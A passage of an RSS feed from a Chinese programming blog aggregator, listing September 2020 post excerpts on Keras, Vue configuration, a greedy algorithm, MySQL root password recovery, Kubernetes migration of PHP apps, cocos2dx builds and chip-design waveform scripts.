      <link>https://bchobby.github.io/posts/0fe8bbf6198e8eaee52c2ba22e297cc3/</link>
      <pubDate>Tue, 15 Sep 2020 23:56:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fe8bbf6198e8eaee52c2ba22e297cc3/</guid>
      <description>目录 0. 函数1. 全连接层2. 激活层3. Dropout层4. Flatten层5. Reshape层6. 卷积层Conv2DLocallyConnected2D 7. 池化层8. 循环层RNNSimpleRNNGRULSTMConvLSTM2DSimpleRNNCellGRUCellLSTMCellCuDNNGRUCuDNNLSTM 9. 嵌入层10. 融合层 MergeAddSubtractMultiplyAverageMaximumConcatenateDotaddsubtractmultiplyaveragemaximumconcatenatedot 11. 高级激活层 Advanced ActivationsReLUSoftmaxThresholdedReLULeakyReLUPReLUELU 12. 标准化层 NormalizationBatchNormalization 13. 噪声层 NoiseGaussianNoiseGaussianDropoutAlphaDropout 14. 层封装器 wrappersTimeDistributedBidirectional 15. 其他InputPermuteRepeatVectorLambdaActivityRegularizationMaskingSpatialDropout1DSpatialDropout2DSpatialDropout3D 参考:&#xA;Keras入门简介&#xA;&amp;gt;&amp;gt;&amp;gt; import keras &amp;gt;&amp;gt;&amp;gt; dir(keras.layers) [&#39;Activation&#39;, &#39;ActivityRegularization&#39;, &#39;Add&#39;, &#39;AlphaDropout&#39;, &#39;AtrousConvolution1D&#39;, &#39;AtrousConvolution2D&#39;, &#39;Average&#39;, &#39;AveragePooling1D&#39;, &#39;AveragePooling2D&#39;, &#39;AveragePooling3D&#39;, &#39;AvgPool1D&#39;, &#39;AvgPool2D&#39;, &#39;AvgPool3D&#39;, &#39;BatchNormalization&#39;, &#39;Bidirectional&#39;, &#39;Concatenate&#39;, &#39;Conv1D&#39;, &#39;Conv2D&#39;, &#39;Conv2DTranspose&#39;, &#39;Conv3D&#39;, &#39;Conv3DTranspose&#39;, &#39;ConvLSTM2D&#39;, &#39;ConvLSTM2DCell&#39;, &#39;ConvRecurrent2D&#39;, &#39;Convolution1D&#39;, &#39;Convolution2D&#39;, &#39;Convolution3D&#39;, &#39;Cropping1D&#39;, &#39;Cropping2D&#39;, &#39;Cropping3D&#39;, &#39;CuDNNGRU&#39;, &#39;CuDNNLSTM&#39;, &#39;Deconvolution2D&#39;, &#39;Deconvolution3D&#39;, &#39;Dense&#39;, &#39;DepthwiseConv2D&#39;, &#39;Dot&#39;, &#39;Dropout&#39;, &#39;ELU&#39;, &#39;Embedding&#39;, &#39;Flatten&#39;, &#39;GRU&#39;, &#39;GRUCell&#39;, &#39;GaussianDropout&#39;, &#39;GaussianNoise&#39;, &#39;GlobalAveragePooling1D&#39;, &#39;GlobalAveragePooling2D&#39;, &#39;GlobalAveragePooling3D&#39;, &#39;GlobalAvgPool1D&#39;, &#39;GlobalAvgPool2D&#39;, &#39;GlobalAvgPool3D&#39;, &#39;GlobalMaxPool1D&#39;, &#39;GlobalMaxPool2D&#39;, &#39;GlobalMaxPool3D&#39;, &#39;GlobalMaxPooling1D&#39;, &#39;GlobalMaxPooling2D&#39;, &#39;GlobalMaxPooling3D&#39;, &#39;Highway&#39;, &#39;Input&#39;, &#39;InputLayer&#39;, &#39;InputSpec&#39;, &#39;LSTM&#39;, &#39;LSTMCell&#39;, &#39;Lambda&#39;, &#39;Layer&#39;, &#39;LeakyReLU&#39;, &#39;LocallyConnected1D&#39;, &#39;LocallyConnected2D&#39;, &#39;Masking&#39;, &#39;MaxPool1D&#39;, &#39;MaxPool2D&#39;, &#39;MaxPool3D&#39;, &#39;MaxPooling1D&#39;, &#39;MaxPooling2D&#39;, &#39;MaxPooling3D&#39;, &#39;Maximum&#39;, &#39;MaxoutDense&#39;, &#39;Minimum&#39;, &#39;Multiply&#39;, &#39;PReLU&#39;, &#39;Permute&#39;, &#39;RNN&#39;, &#39;ReLU&#39;, &#39;Recurrent&#39;, &#39;RepeatVector&#39;, &#39;Reshape&#39;, &#39;SeparableConv1D&#39;, &#39;SeparableConv2D&#39;, &#39;SimpleRNN&#39;, &#39;SimpleRNNCell&#39;, &#39;Softmax&#39;, &#39;SpatialDropout1D&#39;, &#39;SpatialDropout2D&#39;, &#39;SpatialDropout3D&#39;, &#39;StackedRNNCells&#39;, &#39;Subtract&#39;, &#39;ThresholdedReLU&#39;, &#39;TimeDistributed&#39;, &#39;UpSampling1D&#39;, &#39;UpSampling2D&#39;, &#39;UpSampling3D&#39;, &#39;ZeroPadding1D&#39;, &#39;ZeroPadding2D&#39;, &#39;ZeroPadding3D&#39;, &#39;__builtins__&#39;, &#39;__cached__&#39;, &#39;__doc__&#39;, &#39;__file__&#39;, &#39;__loader__&#39;, &#39;__name__&#39;, &#39;__package__&#39;, &#39;__path__&#39;, &#39;__spec__&#39;, &#39;absolute_import&#39;, &#39;add&#39;, &#39;advanced_activations&#39;, &#39;average&#39;, &#39;concatenate&#39;, &#39;convolutional&#39;, &#39;convolutional_recurrent&#39;, &#39;core&#39;, &#39;cudnn_recurrent&#39;, &#39;deserialize&#39;, &#39;deserialize_keras_object&#39;, &#39;dot&#39;, &#39;embeddings&#39;, &#39;local&#39;, &#39;maximum&#39;, &#39;merge&#39;, &#39;minimum&#39;, &#39;multiply&#39;, &#39;noise&#39;, &#39;normalization&#39;, &#39;pooling&#39;, &#39;recurrent&#39;, &#39;serialize&#39;, &#39;subtract&#39;, &#39;wrappers&#39;] 0.</description>
    </item>
    <item>
      <title>电商后台管理系统——首页内容定制</title>
      <link>https://bchobby.github.io/posts/4c6356d04b299123b838a887fbd4813e/</link>
      <pubDate>Tue, 15 Sep 2020 19:44:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c6356d04b299123b838a887fbd4813e/</guid>
      <description>一 点睛 不同的打包环境下，首页内容可能会有所不同。我们可以通过插件的方式进行定制。&#xA;二 定制过程 1 修改vue.config.js,配置如下 module.exports = { chainWebpack: config =&amp;gt; { // 发布模式 config.when(process.env.NODE_ENV === &#39;production&#39;, config =&amp;gt; { config.entry(&#39;app&#39;).clear().add(&#39;./src/main-prod.js&#39;) config.set(&#39;externals&#39;, { // 如果在打包期间，发现import的一个包名为vue，就不会把这个包合并到文件中 // 而是去window全局查找 Vue 对象，并直接使用 vue: &#39;Vue&#39;, &#39;vue-router&#39;: &#39;VueRouter&#39;, axios: &#39;axios&#39;, lodash: &#39;_&#39;, echarts: &#39;echarts&#39;, nprogress: &#39;NProgress&#39;, &#39;vue-quill-editor&#39;: &#39;VueQuillEditor&#39; }) // 定制首页 config.plugin(&#39;html&#39;).tap(args =&amp;gt; { args[0].isProd = true return args }) }) // 开发模式 config.when(process.env.NODE_ENV === &#39;development&#39;, config =&amp;gt; { config.entry(&#39;app&#39;).clear().add(&#39;./src/main-dev.js&#39;) // 定制首页 config.</description>
    </item>
    <item>
      <title>贪心算法之电影节</title>
      <link>https://bchobby.github.io/posts/0f3887cf9fb5cd6bae3462c18d9460d1/</link>
      <pubDate>Tue, 15 Sep 2020 17:45:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f3887cf9fb5cd6bae3462c18d9460d1/</guid>
      <description>问题描述 大学生电影节在北大举办，这天，在北大各地放了很多部电影&#xA;给定每部电影的放映时间，区间重叠的电影不可能同时看(端点可以重合),问李雷最多可以看多少部电影。&#xA;输入&#xA;多组数据，每组数据开头是n(n&amp;lt;=100),表示共n场电影，接下来n行，每行两个整数(均小于1000)，表示一场电影的放映区间，n=0表示数据结束&#xA;输出&#xA;对每组数据输出最多能看几部电影。&#xA;样例输入&#xA;12&#xA;1 3&#xA;3 4&#xA;0 7&#xA;3 8&#xA;15 19&#xA;15 20&#xA;10 15&#xA;8 18&#xA;6 12&#xA;5 10&#xA;4 14&#xA;2 9&#xA;0&#xA;样例输出&#xA;5&#xA;算法思想： 如果一部电影结束的越早，那看完这部电影之后，后面我们看的电影就越多，所以我们需要尽可能的选那种结束时间较早的电影。&#xA;贪心解法&#xA;将所有电影按结束时间从小到大排序，第一步选结束时间最早的那部电影。然后，每步都选和上一部选中的电影不冲突且结束时间最早的那部电影。&#xA;复杂度:O(nlogn)&#xA;证明：&#xA;替换法，假设用贪心法挑选的电影序列是&#xA;a1,a2,…&#xA;不用此法挑选的最长的电影序列为&#xA;b1,b2…&#xA;现可证明，对任意的I,bi均可以替换成ai&#xA;用S(x)表示x开始时间，E(x)表示x结束时间，则&#xA;1)b1可以替换成a1,因为E(a1)&amp;lt;=E(b1);&#xA;2)若可以找到ai满足E(ai)&amp;lt;=E(bi)且ai可以替换bi,则存在E(ai+1)&amp;lt;=E(bi+1)&#xA;证&#xA;因为E(ai)&amp;lt;=E(bi)，且E(bi)&amp;lt;=S(bi+1)&#xA;则：且E(ai)&amp;lt;=S(bi+1)&#xA;ai是所有的S(X)&amp;gt;=E(ai)的x中，E(x)最小的&#xA;S(bi+1)&amp;gt;=E(bi)&amp;gt;=E(ai),所以E(bi+1)&amp;gt;=E(ai+1)&#xA;因此用ai+1替换bi+1不会对后续造成影响，替换可行&#xA;代码实现 package mooc; import java.util.ArrayList; import java.util.Collections; import java.util.List; import org.junit.Test; public class test圣诞老人的礼物 { public class Candy implements Comparable&amp;lt;Candy&amp;gt;{ public int v; public int w; public Candy(int v, int w) { super(); this.</description>
    </item>
    <item>
      <title>数字信号处理面试题_软件面试中需要注意的5个危险信号</title>
      <link>https://bchobby.github.io/posts/edb655557eef073a02e4e5f905a0c5b4/</link>
      <pubDate>Tue, 15 Sep 2020 15:37:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/edb655557eef073a02e4e5f905a0c5b4/</guid>
      <description>数字信号处理面试题&#xA;A lot of the time, the employer is in a position of power during an interview. They set the agenda and questions, and they’re the ones on the home field. But that doesn’t mean everything is out of your control as a candidate.&#xA;在很多时候，雇主在面试中都处于权力位置。 他们设定了议程和问题，而这正是本国领域的问题。 但这并不意味着一切都变得候选人无法控制。 As the candidate, it’s within your right only to seek out companies worth working for. Often, you can learn a lot about the quality of the company, your job, and the team you would work on during the interview.</description>
    </item>
    <item>
      <title>Keras学习笔记2——keras.models</title>
      <link>https://bchobby.github.io/posts/dff9fea5f8fd6f107fd2f4d4289d78d9/</link>
      <pubDate>Tue, 15 Sep 2020 14:04:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dff9fea5f8fd6f107fd2f4d4289d78d9/</guid>
      <description>目录 keras.models.Sequential()第一步，模型初始化第二步，模型编译compile 第三步，模型训练fit 第四步，模型评估evaluatepredict 其他函数train_on_batchtest_on_batchpredict_on_batchfit_generatorevaluate_generatorpredict_generatorget_layer 实例分析 keras.models.Model()使用Model构建模型的步骤：第一步 定义输入层第二步 模型初始化第三步 模型编译第四步 模型训练第五步 模型评估 模型的方法和属性model.summary()keras.utils.plot_model模型信息展示权重相关 Model 类继承 在 Keras 中有两类主要的模型：Sequential 顺序模型 和 使用函数式 API 的 Model 类模型。参考：Keras中文文档&#xA;keras.models.Sequential() 顺序模型 Sequential 采用多个网络层堆叠&#xA;第一步，模型初始化 from keras.models import Sequential from keras.layers import Dense 方式一：使用 .add() 逐层堆叠模型&#xA;# step1 ：模型初始化 model = Sequential() # 使用 .add() 来堆叠模型，一层一层加入，构建所需的神经网络 # 模型需要知道它所期望的输入的尺寸，顺序模型中的第一层需要接收关于其输入尺寸的信息。 model.add(Dense(units=32, activation=&#39;relu&#39;, input_dim=784)) # 下面的层不需要输入尺寸的信息，可以自动地推断尺寸。 model.add(Dense(units=10, activation=&#39;softmax&#39;)) 方式二：使用 layer 的 list 直接创建模型&#xA;model = Sequential([ Dense(32, input_shape=(784,)), Activation(&#39;relu&#39;), Dense(10), Activation(&#39;softmax&#39;), ]) 传递一个 input_shape 参数给第一层，顺序模型中的第一层需要接收关于其输入尺寸的信息。它是一个表示尺寸的元组 (一个由整数或 None 组成的元组，其中 None 表示可能为任何正整数)。在 input_shape 中不包含数据的 batch 大小。如果你需要为你的输入指定一个固定的 batch 大小，你可以传递一个 batch_size 参数给一个层。如果你同时将 batch_size=32 和 input_shape=(6, 8) 传递给一个层，那么每一批输入的尺寸就为 (32，6，8)。某些 2D 层，例如 Dense，支持通过参数 input_dim 指定输入尺寸，input_dim=784 等价于input_shape=(784,) 第二步，模型编译 # step2：使用 .</description>
    </item>
    <item>
      <title>react 打字机效果_React中的打字稿—如何添加</title>
      <link>https://bchobby.github.io/posts/e862b56ce521d837bac2bb6475f9b95b/</link>
      <pubDate>Tue, 15 Sep 2020 13:54:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e862b56ce521d837bac2bb6475f9b95b/</guid>
      <description>react 打字机效果&#xA;In this article, I will be showing you how to add typescript from your existing react application.&#xA;在本文中，我将向您展示如何从现有的React应用程序中添加打字稿。 If you are a software developer that started from strongly typed programming languages such as Java and C sharp, you might want to always have a type checking and see errors beforehand. Unlike without adding typescript, you only see the type errors after you’ve compiled and run the code.</description>
    </item>
    <item>
      <title>1045 Access denied for user ‘root‘@‘localhost‘ (using password: YES)</title>
      <link>https://bchobby.github.io/posts/93ad7bc39fc23a09a40b9f90637a586c/</link>
      <pubDate>Tue, 15 Sep 2020 13:02:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93ad7bc39fc23a09a40b9f90637a586c/</guid>
      <description>MySQL 连接错误，使用Navicat连接MySQL出现错误：1045 Access denied for user ‘root’@‘localhost’ (using password: YES)&#xA;解决方法：&#xA;编辑mysql配置文件my.ini（在mysql的安装目录下，不同电脑可能不一样，参考目录①D:\Program Files\MySQL\MySQL Server 5.0\my.ini；②C:\ProgramData\MySQL\MySQL Server 8.0\my.ini；），在[mysqld]这个条目下加入 skip-grant-tables 保存退出后重启mysql&#xA;1.打开cmd，点击“开始”-&amp;gt;“运行”(快捷键Win+R)。&#xA;2.停止：输入 net stop mysql&#xA;3.启动：输入 net start mysql&#xA;也可以在计算机-管理-服务里面找到MySQL的服务，如图&#xA;这时候在cmd里面输入mysql -u root -p就可以不用密码登录了，出现 password：的时候直接回车可以进入，不会出现ERROR 1045 (28000)，但很多操作都会受限制，因为没有grant权限。&#xA;继续按下面的流程走：&#xA;1.进入mysql数据库：&#xA;mysql&amp;gt; use mysql;&#xA;Database changed&#xA;2.给root用户设置新密码：&#xA;mysql&amp;gt; update user set password=password(“新密码”) where user=“root”;&#xA;Query OK, 1 rows affected (0.01 sec)&#xA;Rows matched: 1 Changed: 1 Warnings: 0&#xA;3.刷新数据库&#xA;mysql&amp;gt; flush privileges;</description>
    </item>
    <item>
      <title>aws认证考试_AWS认证：参加考试</title>
      <link>https://bchobby.github.io/posts/dc5b69652599355fc46f2c3146eca957/</link>
      <pubDate>Tue, 15 Sep 2020 07:36:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc5b69652599355fc46f2c3146eca957/</guid>
      <description>aws认证考试&#xA;A short time ago I wrote two pieces on this platform to outline why you should consider taking an AWS Certifications exam and how to go about preparing for it. As I wrote them I was also preparing for an exam, myself. And guess what: I passed the AWS Certified Solutions Architect Professional exam!&#xA;不久前，我在该平台上写了两篇文章，概述了您为什么应该考虑参加AWS认证考试以及如何进行准备 。 当我写信给他们时，我自己也在准备考试。 猜猜是什么： 我通过了AWS认证解决方案架构师专业考试 ！ In this piece, I want to go through my experience of taking the exam online, what you can expect to happen on the day of the exam, and what happens after gaining your certification.</description>
    </item>
    <item>
      <title>开源视频处理工具Shotcut的用法： 剪切、合并、增加背景音乐、添加字幕、 插入视频、图片转视频并加背景音乐、制作电子相册</title>
      <link>https://bchobby.github.io/posts/6e278618407cb01e1758b1e3b49e5ced/</link>
      <pubDate>Mon, 14 Sep 2020 19:32:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e278618407cb01e1758b1e3b49e5ced/</guid>
      <description>shotcut 用法的记录 剪切、合并、调整音量、增加背景音乐、添加字幕、 插入视频（替换式、增加式）、将多张照片做成带有音乐的照片播放视频。&#xA;shotcut 是一个跨平台的视频处理软件，可以在linux和windows10 上安装， 界面也汉化的很好的，适合一般自拍视频或者Vlog等的编辑等。 当然，免费、不涉及版权问题，这一点最好了。 这里是记录该软件的 一般用法，是我在使用该软件过程中发现中文教程难以寻找，又不想看视频，所以自己做个易用教程。 感兴趣的可以将本文作为快速入门和参考。&#xA;一、 剪切视频 1.打开shotcut， 点击 “文件”→“新建”，建立一个剪切操作项目。 这里是 新工程。 复杂的视频处理可以称之为一项工程了。&#xA;2. 编一个 工程名称，点击开始，然后打开你要剪裁的视频文件所在文件夹，将其拖入软件界面即可&#xA;3. 调整视频下方时间显示的 前、后 箭头，对要剪切出来的片段进行基于时间轴的定位，然后点击 上方的 输出，会弹出一个导出帮助 对话框。&#xA;可以在下图界面的左侧 “预设”中进行输出文件格式等的选择，根据自己需要进行调整 如果有独立显卡，选择使用硬件编辑器， 然后点击下面的输出文件，会弹出为剪切出来的视频进行命名和确定存储位置的操作过程。点击保存，然后就开始保存需要剪切出来的视频内容了。&#xA;在软件的右侧会出现 输出过程的进度显示，完成后到输出文件夹用播放器查看剪切下来的视频是否符合要求。 二、两个及多个视频的拼接、合并 1. 和上一步一样，打开软件→新建一个工程→然后点击软件最上方的 “播放列表” 这个功能按钮→找到要合并的视频，拖入播放列表→双击播放列表中你所要作为第一段视频的 名称，这样中间所预览播放的内容就是第一段视频。&#xA;2.然后点击下方“时间线” 区域中 的 加号 按钮，就会出现V1. 调节 和加号按钮同行的 放大、缩小的拖动框， 将整个视频调整为合适的显示大小形式。&#xA;3. 双击播放列表中，你准备作为紧跟第一段视频的 第二段 视频文件的名称，令中间播放的预览视频为第二段视频文件，然后再点击 加号按钮，即可将第二段视频添加到下方的 时间线 v1中。 4. 然后点击 输出， 调整输入视频的格式等， 选择输出视频的名称和保存位置，等待任务完成即可。&#xA;三、调整视频或音乐的音量 1. 还是打开软件，新建工程，拖入要增加背景音乐的视频文件，选中，打开时间线，然后点击 “滤镜” 工具，增加处理滤镜。&#xA;2. 点击下图中的加号，即可出现滤镜类型的选择选项列表，可以多选，还有其他较为丰富的滤镜功能</description>
    </item>
    <item>
      <title>python cli_使用Python创建您的第一个CLI应用程序Click</title>
      <link>https://bchobby.github.io/posts/8dc6f5c78fc1b230636aa369cd5988e4/</link>
      <pubDate>Mon, 14 Sep 2020 17:34:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8dc6f5c78fc1b230636aa369cd5988e4/</guid>
      <description>python cli&#xA;Life at the terminal is sweet. It’s fast powering up tasks, makes multitasking feel remarkably easy and allows you to keep resources that would otherwise be used by a fancy, but unnecessary, GUI.&#xA;码头的生活很甜蜜。 它可以快速启动任务，使多任务处理变得异常简单，并允许您保留原本可以由花哨的但不必要的GUI使用的资源。 Think about having to load up a graphical interface Version Control tool every time you want to track a change in your file — it’s scary how time-wasting that is. That’s our need for command-line interfaces on applications.</description>
    </item>
    <item>
      <title>传统PHP项目迁移到k8s上</title>
      <link>https://bchobby.github.io/posts/1ad105f57100384018d62f491660a864/</link>
      <pubDate>Mon, 14 Sep 2020 16:52:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ad105f57100384018d62f491660a864/</guid>
      <description>1. 迁移前的准备 多个PHP项目，各个项目框架相同，lnmp方式。迁移到nginx可以实现快速扩容，不同项目使用同一套k8s而不需要新建太多虚拟机，节省了成本。&#xA;前期只迁移无状态应用，有状态应用如mysql、redis、rabbitmq仍使用之前的，因为目前项目全都是放在云平台，只需要将k8s部署到之前相同的VPC网段，既可以实现平滑无缝迁移。&#xA;传统项目中，nginx和PHP都是安装在同一台server中，通过fastcgi监听127.0.0.1:9000来获取PHP代码的解析结果，考虑到部署的便捷性，将PHP-FPM和nginx放在同一个pod里面的不同容器内，这样仍然可以通过localhost间进行通信。&#xA;部署以下项目前需要先部署k8s环境、Ingress-nginx controller，发布的话，可另外部署Jenkins&#xA;2. 相关dockerfile及yaml文件 所有文件已放在GitHub，可点击查看 NoviceZeng/nginx-php-k8s&#xA;(1). nginx的Dockerfile nginx.conf一般不会修改，直接打包到镜像里面，此处关于nginx调用redsi、mysql、rabbitmq的PHP相关配置main-local.php、params-local.php也放入镜像&#xA;FROM nginx:1.17.0 COPY nginx.conf /etc/nginx/nginx.conf RUN rm -rf /etc/nginx/conf.d/default.conf \ &amp;amp;&amp;amp; mkdir -p /data/conf/viba_back \ &amp;amp;&amp;amp; mkdir -p /data/client_h5/dist \ &amp;amp;&amp;amp; mkdir -p /data/dev_back COPY client_h5/dist /data/client_h5/dist/ COPY viba_back /data/conf/viba_back/ COPY dev_back /data/dev_back/ (2). php的Dockerfile 根据实际项目安装PHP扩展，此处需要安装redis、rabbitmq和mysql的扩展，通过php-extension-installer使用PHP官方镜像，很easy实现了模块扩展&#xA;FROM php:7.2-fpm #使用install-php-extensions安装PHP的扩展模块redis、rabbitmq、mysql COPY --from=mlocati/php-extension-installer /usr/bin/install-php-extensions /usr/bin/ RUN install-php-extensions redis amqp mysqli pdo_mysql \ &amp;amp;&amp;amp; mkdir -p /data/dev_back #考虑到以上相关PHP模块安装耗时，可以将以上打包成新镜像 COPY dev_back /data/dev_back/ (3).</description>
    </item>
    <item>
      <title>百度网盘无法安装，一闪而过，双击无反应，问题解决步骤方法简单</title>
      <link>https://bchobby.github.io/posts/c1b84462284a789b056342fdc97a6b57/</link>
      <pubDate>Mon, 14 Sep 2020 10:18:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1b84462284a789b056342fdc97a6b57/</guid>
      <description>把百度网盘的EXE程序放到一个新建的文件夹，文件夹名称任意，使用360压缩软件直接解压，鼠标右键BaiduNetdisk.exe创建桌面快捷方式，双击快捷方式就可以使用了</description>
    </item>
    <item>
      <title>在cocos2dx3.15中引入FairyGUI的运行库，修改部分FairGUI运行库源代码以便成功编译。</title>
      <link>https://bchobby.github.io/posts/b9f38c011069be58b4228b7e1725856c/</link>
      <pubDate>Mon, 14 Sep 2020 04:13:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9f38c011069be58b4228b7e1725856c/</guid>
      <description>1：先下载运行库：https://github.com/fairygui/FairyGUI-cocos2dx/projects&#xA;还有coocs2dx-3.15;&#xA;注意，fairGUI必须支持3.14以上的，我推荐就是3.15以上。&#xA;很多都是需要自己调整的，而且他的Example项目的配置和你也可能很不一样。所以不要过于依赖他的项目配置，自己新建项目；自行配置各种要点。&#xA;1.1:先修改一下：&#xA;打开fairgui的目录的readme，然后看到下面，照着做就可以了。&#xA;就是修改virtual void updateBMFontScale();&#xA;其他的不用管，就修改这个就行。&#xA;1.2:继续修改：那个GLoader3D.cpp文件；&#xA;找到GLoader3D::onChangeSpine&#xA;然后注释掉这个方法的代码；这个方法有些bug。这是spine模块的；&#xA;不过现在不需要。&#xA;2：用cocos new搞一个lua项目或者C++，具体看看命令行即可。&#xA;至于减少编译时间只需要搞对应的lib，dll复制过来，&#xA;或者直接干脆就编译一下吧。记得，必须用VS2015以上！&#xA;注意，先编译好，再看下面&#xA;3：下面是重点了。&#xA;3.1:&#xA;把fairgui文件拷贝到&#xA;C:\你的VS项目目录\cocos2d\cocos\editor-support下面；&#xA;然后打开VS项目，在解决方案下添加这个项目。&#xA;其中，添加一定会出错，&#xA;打开libfairygui.vcxproj。&#xA;删除一些东西：&#xA;找到下面这个代码块：&#xA;把“”删除“”中间的代码删除了。然后就可以把ibfairygui.vcxpro加入项目中！&#xA;&amp;lt;ImportGroup Condition=&#34;&#39;$(Configuration)|$(Platform)&#39;==&#39;Release|Win32&#39;&#34; Label=&#34;PropertySheets&#34;&amp;gt; &amp;lt;Import Project=&#34;$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props&#34; Condition=&#34;exists(&#39;$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props&#39;)&#34; Label=&#34;LocalAppDataPlatform&#34; /&amp;gt; /删除 &amp;lt;Import Project=&#34;..\..\Examples\cocos2d\cocos\2d\cocos2dx.props&#34; /&amp;gt; &amp;lt;Import Project=&#34;..\..\Examples\cocos2d\cocos\2d\cocos2d_headers.props&#34; /&amp;gt; /删除// &amp;lt;/ImportGroup&amp;gt; &amp;lt;ImportGroup Condition=&#34;&#39;$(Configuration)|$(Platform)&#39;==&#39;Debug|Win32&#39;&#34; Label=&#34;PropertySheets&#34;&amp;gt; &amp;lt;Import Project=&#34;$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props&#34; Condition=&#34;exists(&#39;$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props&#39;)&#34; Label=&#34;LocalAppDataPlatform&#34; /&amp;gt; /删除// &amp;lt;Import Project=&#34;..\..\Examples\cocos2d\cocos\2d\cocos2dx.props&#34; /&amp;gt; &amp;lt;Import Project=&#34;..\..\Examples\cocos2d\cocos\2d\cocos2d_headers.props&#34; /&amp;gt; //删除// &amp;lt;/ImportGroup&amp;gt; 3.11:&#xA;3.2:设置你的项目头文件路径：这是你的项目的路径，因为要引用fairgui的头文件，不是fairgui项目的&#xA;3.3:libfairygui项目的项目管理器中，加入下面这两个。&#xA;他们在cocos/2d目录下；自己加即可很简单&#xA;3.4：在上面的cocos2dx(两个都是)右击属性，&#xA;链接器输入添加libfairygui.lib，</description>
    </item>
    <item>
      <title>图像识别中——目标分割、目标识别、目标检测和目标跟踪的区别</title>
      <link>https://bchobby.github.io/posts/18ce18ed356df2bb5d61f3e3c678a508/</link>
      <pubDate>Sun, 13 Sep 2020 23:07:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18ce18ed356df2bb5d61f3e3c678a508/</guid>
      <description>计算机视觉旨在识别和理解图像/视频中的内容，包含四大基本任务：分类(图a)、定位、检测(图b)、语义分割(图c)、和实例分割(图d)。&#xA;这四个任务需要对图像的理解逐步深入。给定一张输入图像，&#xA;图像分类任务旨在判断该图像所属类别。&#xA;目标定位是在图像分类的基础上，进一步判断图像中的目标具体在图像的什么位置，通常是以包围盒的(bounding box)形式。在目标定位中，通常只有一个或固定数目的目标。&#xA;目标检测更一般化，其图像中出现的目标种类和数目都不定。&#xA;语义分割是目标检测更进阶的任务，目标检测只需要框出每个目标的包围盒，语义分割需要进一步判断图像中哪些像素属于哪个目标。但是，语义分割不区分属于相同类别的不同实例。例如，当图像中有多只猫时，语义分割会将两只猫整体的所有像素预测为“猫”这个类别。与此不同的是，&#xA;实例分割则与语义分割不同，需要区分出哪些像素属于第一只猫、哪些像素属于第二只猫。&#xA;目标跟踪通常是用于视频数据，和目标检测有密切的联系，同时要利用帧之间的时序关系。</description>
    </item>
    <item>
      <title>数字IC设计随笔之一（Verdi自动添加波形脚本应用）</title>
      <link>https://bchobby.github.io/posts/039f8e638f6e61d1ac35b248957e5f75/</link>
      <pubDate>Sun, 13 Sep 2020 21:49:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/039f8e638f6e61d1ac35b248957e5f75/</guid>
      <description>Verdi自动添加波形脚本应用 在刚接触verdi时，每次查看波形都需要重新加载一遍，写了简单的脚本用于实现波形加载，没想到下载需求挺多，也有私信问如何使用，在这里将做简单的说明。&#xA;脚本有三个文件，分别是genwavecmd.sh、template.cmd和wavelist.txt，其中template.cmd是Verdi波形加载的模板，之前采用的Verdi软件版本低，在新版本中执行时将出现语法错误；wavelist.txt是需要查看的信号列表，必须以相应的语法格式书写，才便于genwavecmd.sh脚本读取。&#xA;wavelist.txt文件内容如下：&#xA;/DCU_tb/DCU/ClockGen&#xA;(&#xA;por&#xA;oscclk&#xA;rstn&#xA;)&#xA;/DCU_tb/DCU/RAMController&#xA;(&#xA;POR&#xA;PWE&#xA;PPROG&#xA;)&#xA;/DCU_tb/DCU/Timer&#xA;(&#xA;timer_INT&#xA;)&#xA;信号的定义以层级的形式声明信号所属的模块，之后在圆括号里声明需要查看的信号名，比如第一组信号声明，首先声明/DCU_tb/DCU/ClockGen，表示从顶层模块引用ClockGen模块中的信号，括号中的信号为该模块中的信号。后面两组信号类似。&#xA;template.cmd中的类容需要修改以在新版本的verdi中运行，主要修改内容为文件的读入和fsdb文件的加载，修改后的文件如下：&#xA;debImport “-f” “./tb.v”&#xA;wvCreateWindow&#xA;wvResizeWindow -win $_nWave2 0 30 1920 394&#xA;wvOpenFile -win $nWave2 {/home/stu05/project/test_example/vg_dump.fsdb}&#xA;verdiDockWidgetHide -dock widgetDock_WelcomePage&#xA;verdiDockWidgetHide -dock widgetDock&amp;lt;Inst.Tree&amp;gt;&#xA;verdiDockWidgetHide -dock widgetDock&amp;lt;Decl.Tree&amp;gt;&#xA;verdiDockWidgetHide -dock widgetDock&#xA;verdiDockWidgetHide -dock widgetDock_MTB_SOURCE_TAB_1&#xA;verdiDockWidgetDisplay -dock windowDock_nWave_2&#xA;wvResizeWindow -win $_nWave2 0 30 1920 874&#xA;wvGetSignalOpen -win $_nWave2&#xA;wvAddSignal -win $_nWave2 -clear</description>
    </item>
    <item>
      <title>RTL仿真，前仿真，后仿真的区别</title>
      <link>https://bchobby.github.io/posts/be29eed43d602d9bc90d3d0cd345895f/</link>
      <pubDate>Sun, 13 Sep 2020 20:56:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be29eed43d602d9bc90d3d0cd345895f/</guid>
